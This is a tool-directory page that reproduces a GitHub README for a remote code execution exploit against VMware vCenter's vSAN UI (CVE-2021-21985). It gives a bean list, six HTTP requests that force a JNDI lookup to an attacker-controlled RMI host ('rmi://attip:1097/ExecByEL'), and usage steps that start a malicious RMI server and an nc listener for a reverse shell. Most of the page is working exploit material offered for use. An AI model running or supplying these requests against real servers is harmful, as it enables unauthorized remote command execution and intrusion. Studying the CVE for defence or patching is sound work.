Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2021-21985_exp — cve-2021-21985 exploit | Kitploit
Tools/GitHubGitHub/xnianq/cve-2021-21985_exp
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationCommand and ControlRemote Access Tool
GitHubxnianq/cve-2021-21985_exp

cve-2021-21985_exp

cve-2021-21985 exploit

View Repository
115364 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

cve-2021-21985 exploit

0x01 Vulnerability Point

image-20210603144442312

Analysis available at:

https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985?referrer=home#rapid7-analysis

0x02 exploit

Reconstruct the beans object to achieve RCE.

Bean list:

root@kitploit:~
localizedMessageBundle
vsanWorkerThreadFactory
vsanThreadPoolImpl
vsanServiceBundleActivator
vsanServiceFactory
vsanProviderUtils_setVmodlHelper
vsanProviderUtils_setVsanServiceFactory
vsanQueryUtil_setDataService
vsanComponentsProviderImpl
capabilityPropertyProviderImpl
pbmDataProviderImpl
vsanCapabilityCacheManager
vsanCapabilityUtils_setVsanCapabilityCacheManager
vsanUtils_setMessageBundle
vsanFormatUtils_setUserSessionService

The vsanProviderUtils_setVmodlHelper used by Suifeng did not work in my environment, so I chose another bean for testing. Since Vsphere UI uses the Tomcat middleware, remote command execution can be achieved via JNDI RMI bypass (https://github.com/welk1n/JNDI-Injection-Bypass/blob/master/src/main/java/payloads/EvilRMIServer.java).

root@kitploit:~
Step1
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setTargetObject
{"methodInput":[null]}


Step2
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setStaticMethod
{"methodInput":["javax.naming.InitialContext.doLookup"]}

Step3
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setTargetMethod
{"methodInput":["doLookup"]}

Step4 
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setArguments
{"methodInput":[["rmi://attip:1097/ExecByEL"]]}

Step5
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/prepare
{"methodInput":[]}

Step6
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/invoke
{"methodInput":[]}

0x03 Usage

  1. Start the RMI service java -cp JNDI-Injection-Bypass-1.0-SNAPSHOT-all.jar payloads.EvilRMIServer attip image-20210603201234855
  2. Start reverse shell listener
root@kitploit:~
nc -lvvp 5555
  1. Execute the above payload to obtain a reverse shell image-20210603201337539

0x04 References

  • https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/
  • https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985#rapid7-analysis
  • https://github.com/welk1n/JNDI-Injection-Bypass
Download Tool